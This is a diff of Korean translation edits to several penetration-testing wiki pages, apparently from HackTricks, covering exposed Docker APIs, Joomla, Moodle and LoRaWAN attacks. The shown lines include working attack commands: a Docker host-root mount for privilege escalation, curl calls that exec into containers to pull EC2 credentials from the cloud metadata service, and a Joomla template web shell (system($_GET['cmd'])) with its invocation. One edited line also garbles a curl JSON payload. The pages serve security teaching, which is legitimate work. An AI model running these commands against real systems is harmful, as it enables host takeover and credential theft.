-> Podman이 Docker와 동일한 API를 지원하는 것을 목표로 하므로, 다음과 같은 명령을 Podman과 Docker 모두에서 사용할 수 있습니다:
+> Podman이 Docker와 동일한 API를 지원하는 것을 목표로 하므로, 다음과 같은 명령을 Podman에서 Docker와 동일하게 사용할 수 있습니다:
 >
 > ```bash
 > podman --version
@@ -134,9 +134,9 @@ docker-init:
 Version:          0.18.0
 GitCommit:        fec3683
 ```
-원격 docker API에 `docker` 명령어로 **연락할 수 있다면**, 서비스와 상호작용하기 위해 **이전에 언급된** **docker** [**명령어**](2375-pentesting-docker.md#basic-commands)를 **실행**할 수 있습니다.
+원격 docker API에 `docker` 명령어로 **연락할 수 있다면**, 서비스와 상호작용하기 위해 **이전에 언급된** **docker** [**명령어**](2375-pentesting-docker.md#basic-commands)를 **실행할 수 있습니다**.
 
-> [!NOTE]
+> [!TIP]
 > `export DOCKER_HOST="tcp://localhost:2375"`를 사용하여 docker 명령어와 함께 `-H` 매개변수를 **사용하지 않을 수 있습니다**.
 
 **빠른 권한 상승**
@@ -145,14 +145,14 @@ docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
 ```
 **Curl**
 
-가끔 **TLS** 엔드포인트에 **2376**이 활성화되어 있는 것을 볼 수 있습니다. docker 클라이언트로는 연결할 수 없었지만 curl을 사용하면 연결할 수 있습니다.
+가끔 **TLS** 엔드포인트에 **2376**이 열려 있는 것을 볼 수 있습니다. docker 클라이언트로는 연결할 수 없었지만 curl을 사용하여 연결하는 것은 가능합니다.
 ```bash
 #List containers
 curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
 #List processes inside a container
 curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 #Set up and exec job to hit the metadata URL
-curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
+curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
 #Get the output
 curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
 # list secrets (no secrets/swarm not set up)
@@ -175,7 +175,7 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope
 #Delete stopped containers
 curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
 ```
-이와 관련하여 더 많은 정보가 필요하면, 제가 명령어를 복사한 곳에서 더 많은 정보를 확인할 수 있습니다: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
+이와 관련하여 더 많은 정보가 필요하면, 내가 명령어를 복사한 곳에서 더 많은 정보를 확인할 수 있습니다: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
 
 #### 자동
 ```bash
@@ -262,7 +262,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
 #### 의심스러운 활동 로깅
 
 - 실행 중인 컨테이너에서 **의심스러운 행동**을 감지하기 위해 도구 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)를 사용할 수 있습니다.
-- 다음 코드 조각에서 **Falco가 커널 모듈을 컴파일하고 삽입하는 방법**에 주목하세요. 그 후, 규칙을 로드하고 **의심스러운 활동을 로깅하기 시작합니다**. 이 경우, 2개의 특권 컨테이너가 시작되었고, 그 중 1개는 민감한 마운트를 가지고 있으며, 몇 초 후에 하나의 컨테이너 내부에서 셸이 열리는 것을 감지했습니다.
+- 다음 코드 조각에서 **Falco가 커널 모듈을 컴파일하고 삽입하는 방법**에 주목하십시오. 그 후, 규칙을 로드하고 **의심스러운 활동을 로깅하기 시작합니다**. 이 경우, 2개의 특권 컨테이너가 시작되었고, 그 중 1개는 민감한 마운트를 가지고 있으며, 몇 초 후에 하나의 컨테이너 내부에서 셸이 열리는 것을 감지했습니다.
 ```bash
 docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
 * Setting up /usr/src links from host

src/network-services-pentesting/pentesting-web/joomla.md

@@ -37,7 +37,7 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
 
 ### Discovery/Footprinting
 
-- Check the **meta**
+- **메타** 확인
 ```bash
 curl https://www.joomla.org/ | grep Joomla | grep generator
 
@@ -58,16 +58,16 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
 1- What is this?
 * This is a Joomla! installation/upgrade package to version 3.x
 * Joomla! Official site: https://www.joomla.org
-* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
+* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
 * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
 ```
-### 버전
+### Version
 
 - **/administrator/manifests/files/joomla.xml**에서 버전을 확인할 수 있습니다.
 - **/language/en-GB/en-GB.xml**에서 Joomla의 버전을 확인할 수 있습니다.
 - **plugins/system/cache/cache.xml**에서 대략적인 버전을 확인할 수 있습니다.
 
-### 자동
+### Automatic
 ```bash
 droopescan scan joomla --url http://joomla-site.local/
 ```
@@ -92,18 +92,18 @@ admin:admin
 ```
 ## RCE
 
-관리자 자격 증명을 얻었다면 **RCE를 수행할 수 있습니다**. 이를 위해 **PHP 코드** 조각을 추가하여 **RCE**를 얻을 수 있습니다. 우리는 **템플릿을 사용자 정의**하여 이를 수행할 수 있습니다.
+만약 **관리자 자격 증명**을 얻었다면, **PHP 코드** 조각을 추가하여 **RCE**를 얻을 수 있습니다. 우리는 **템플릿**을 **커스터마이즈**하여 이를 수행할 수 있습니다.
 
 1. `Configuration` 아래의 **`Templates`**를 클릭하여 템플릿 메뉴를 불러옵니다.
 2. **템플릿** 이름을 클릭합니다. `Template` 열 헤더 아래의 **`protostar`**를 선택합시다. 그러면 **`Templates: Customise`** 페이지로 이동합니다.
-3. 마지막으로 페이지를 클릭하여 **페이지 소스**를 불러올 수 있습니다. **`error.php`** 페이지를 선택합시다. 다음과 같이 **코드 실행을 위한 PHP 원라이너**를 추가할 것입니다:
+3. 마지막으로, 페이지를 클릭하여 **페이지 소스**를 불러올 수 있습니다. **`error.php`** 페이지를 선택합시다. 다음과 같이 **코드 실행을 위한 PHP 원라이너**를 추가할 것입니다:
 1. **`system($_GET['cmd']);`**
 4. **저장 및 닫기**
 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
 
 ## From XSS to RCE
 
-- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla 취약점 악용 스크립트로 **XSS를 RCE 또는 기타 치명적인 취약점으로 상승**시킵니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Joomla 버전 5.X.X, 4.X.X 및 3.X.X를 지원하며 다음을 허용합니다:**
+- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla 취약점 악용 스크립트로 **XSS를 RCE 또는 기타 치명적인 취약점으로 상승시킵니다**. 더 많은 정보는 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. 이는 **Joomla 버전 5.X.X, 4.X.X, 및 3.X.X에 대한 지원을 제공하며, 다음을 허용합니다:**
 - _**권한 상승:**_ Joomla에 사용자를 생성합니다.
 - _**(RCE) 내장 템플릿 편집:**_ Joomla의 내장 템플릿을 편집합니다.
 - _**(커스텀) 사용자 정의 익스플로잇:**_ 서드파티 Joomla 플러그인을 위한 사용자 정의 익스플로잇입니다.

src/network-services-pentesting/pentesting-web/moodle.md

@@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
 3.10.0-beta
 
 [+] Possible interesting urls found:
-Static readme file. - http://moodle.schooled.htb/moodle/README.txt
+Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
-Admin panel - http://moodle.schooled.htb/moodle/login/
+Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
 
 [+] Scan finished (0:00:05.643539 elapsed)
 ```
@@ -62,7 +62,7 @@ cmsmap http://moodle.example.com/<moodle_path>
 ```
 ### CVEs
 
-나는 자동 도구가 **무들 버전에 영향을 미치는 취약점을 찾는 데 매우 쓸모없다는 것을 발견했다**. 당신은 **여기에서 확인할 수 있다**: [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
+나는 자동 도구가 **무들 버전에 영향을 미치는 취약점을 찾는 데 매우 쓸모없다는 것을 발견했다**. 당신은 **다음에서 확인할 수 있다**: [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
 
 ## **RCE**
 

src/todo/radio-hacking/low-power-wide-area-network.md

@@ -17,7 +17,7 @@ Long Range (**LoRa**)는 현재 가장 많이 배포된 LPWAN 물리 계층이
 * LoRaWAN – LoRa-Alliance에서 유지 관리하는 개방형 MAC/네트워크 계층. 1.0.x 및 1.1 버전이 현장에서 일반적입니다.
 * 전형적인 아키텍처: *엔드 장치 → 게이트웨이 (패킷 포워더) → 네트워크 서버 → 애플리케이션 서버*.
 
-> **보안 모델**은 *조인* 절차 (OTAA) 중 세션 키를 파생하는 두 개의 AES-128 루트 키 (AppKey/NwkKey)에 의존합니다. 키가 유출되면 공격자는 해당 트래픽에 대한 전체 읽기/쓰기 권한을 얻게 됩니다.
+> **보안 모델**은 *조인* 절차 (OTAA) 중 세션 키를 파생하는 두 개의 AES-128 루트 키 (AppKey/NwkKey)에 의존합니다. 키가 유출되면 공격자는 해당 트래픽에 대한 전체 읽기/쓰기 권한을 얻습니다.
 
 ---
 
@@ -34,8 +34,8 @@ Long Range (**LoRa**)는 현재 가장 많이 배포된 LPWAN 물리 계층이
 
 ## 최근 취약점 (2023-2025)
 
-* **CVE-2024-29862** – *ChirpStack gateway-bridge 및 mqtt-forwarder*가 Kerlink 게이트웨이에서 상태 기반 방화벽 규칙을 우회하는 TCP 패킷을 수용하여 원격 관리 인터페이스 노출을 허용했습니다. 각각 4.0.11 / 4.2.1에서 수정됨.
+* **CVE-2024-29862** – *ChirpStack gateway-bridge 및 mqtt-forwarder*가 Kerlink 게이트웨이에서 상태 저장 방화벽 규칙을 우회하는 TCP 패킷을 수용하여 원격 관리 인터페이스 노출을 허용했습니다. 각각 4.0.11 / 4.2.1에서 수정됨.
-* **Dragino LG01/LG308 시리즈** – 2022-2024년의 여러 CVE (예: 2022-45227 디렉토리 탐색, 2022-45228 CSRF)가 2025년에도 여전히 패치되지 않은 것으로 관찰됨; 수천 개의 공용 게이트웨이에서 인증되지 않은 펌웨어 덤프 또는 구성 덮어쓰기를 활성화함.
+* **Dragino LG01/LG308 시리즈** – 2022-2024년 동안 여러 CVE (예: 2022-45227 디렉토리 탐색, 2022-45228 CSRF)가 2025년에도 여전히 패치되지 않은 것으로 관찰됨; 수천 개의 공용 게이트웨이에서 인증되지 않은 펌웨어 덤프 또는 구성 덮어쓰기를 활성화함.
 * Semtech *패킷 포워더 UDP* 오버플로우 (발표되지 않음, 2023-10 패치): 255 B보다 큰 업링크가 스택 스매시를 유발하여 SX130x 참조 게이트웨이에 대한 RCE를 발생시킴 (Black Hat EU 2023 “LoRa Exploitation Reloaded”에서 발견됨).
 
 ---
@@ -57,9 +57,9 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
 2. 원래 장치가 다시 전송하기 전에 즉시 재전송합니다 (또는 RSSI를 증가시킵니다).
 3. 네트워크 서버는 새로운 DevAddr 및 세션 키를 할당하는 동안 대상 장치는 이전 세션을 계속 사용합니다 → 공격자는 비어 있는 세션을 소유하고 위조된 업링크를 주입할 수 있습니다.
 
-### 3. 적응형 데이터 속도 (ADR) 다운그레이드
+### 3. 적응형 데이터 전송 속도 (ADR) 다운그레이드
 
-SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 → 게이트웨이의 듀티 사이클을 소모시킵니다 (서비스 거부) 동시에 공격자에게 배터리 영향을 낮게 유지합니다 (네트워크 수준 MAC 명령만 전송).
+SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 → 게이트웨이의 듀티 사이클을 소진시킵니다 (서비스 거부) 동시에 공격자에게 배터리 영향을 낮게 유지합니다 (네트워크 수준 MAC 명령만 전송).
 
 ### 4. 반응형 재밍
 
@@ -71,7 +71,7 @@ SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 →
 
 | 도구 | 목적 | 비고 |
 |------|---------|-------|
-| **LoRaWAN 감사 프레임워크 (LAF)** | LoRaWAN 프레임 제작/파싱/공격, DB 기반 분석기, 브루트 포스 | Docker 이미지, Semtech UDP 입력 지원 |
+| **LoRaWAN 감사 프레임워크 (LAF)** | LoRaWAN 프레임 제작/구문 분석/공격, DB 기반 분석기, 브루트 포스 | Docker 이미지, Semtech UDP 입력 지원 |
 | **LoRaPWN** | OTAA를 브루트 포스하고, 다운링크를 생성하며, 페이로드를 복호화하는 Trend Micro Python 유틸리티 | 2023년 데모 출시, SDR 비독립적 |
 | **LoRAttack** | USRP와 함께하는 다채널 스니퍼 + 재전송; PCAP/LoRaTap 내보내기 | 좋은 Wireshark 통합 |
 | **gr-lora / gr-lorawan** | 기저대역 TX/RX를 위한 GNU Radio OOT 블록 | 사용자 정의 공격의 기초 |
@@ -80,7 +80,7 @@ SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 →
 
 ## 방어 권장 사항 (펜테스터 체크리스트)
 
-1. 진정한 무작위 DevNonce를 가진 **OTAA** 장치를 선호합니다; 중복을 모니터링합니다.
+1. 진정으로 무작위 DevNonce를 가진 **OTAA** 장치를 선호합니다; 중복을 모니터링합니다.
 2. **LoRaWAN 1.1**을 시행합니다: 32비트 프레임 카운터, 구별된 FNwkSIntKey / SNwkSIntKey.
 3. 프레임 카운터를 비휘발성 메모리 (**ABP**)에 저장하거나 OTAA로 마이그레이션합니다.
 4. 루트 키를 펌웨어 추출로부터 보호하기 위해 **보안 요소** (ATECC608A/SX1262-TRX-SE)를 배포합니다.
@@ -90,6 +90,6 @@ SF12/125 kHz를 강제로 설정하여 공중 시간을 증가시킵니다 →
 
 ## References
 
-* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
+* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
-* Trend Micro LoRaPWN 개요 – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
+* Trend Micro LoRaPWN 개요 – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
 {{#include ../../banners/hacktricks-training.md}}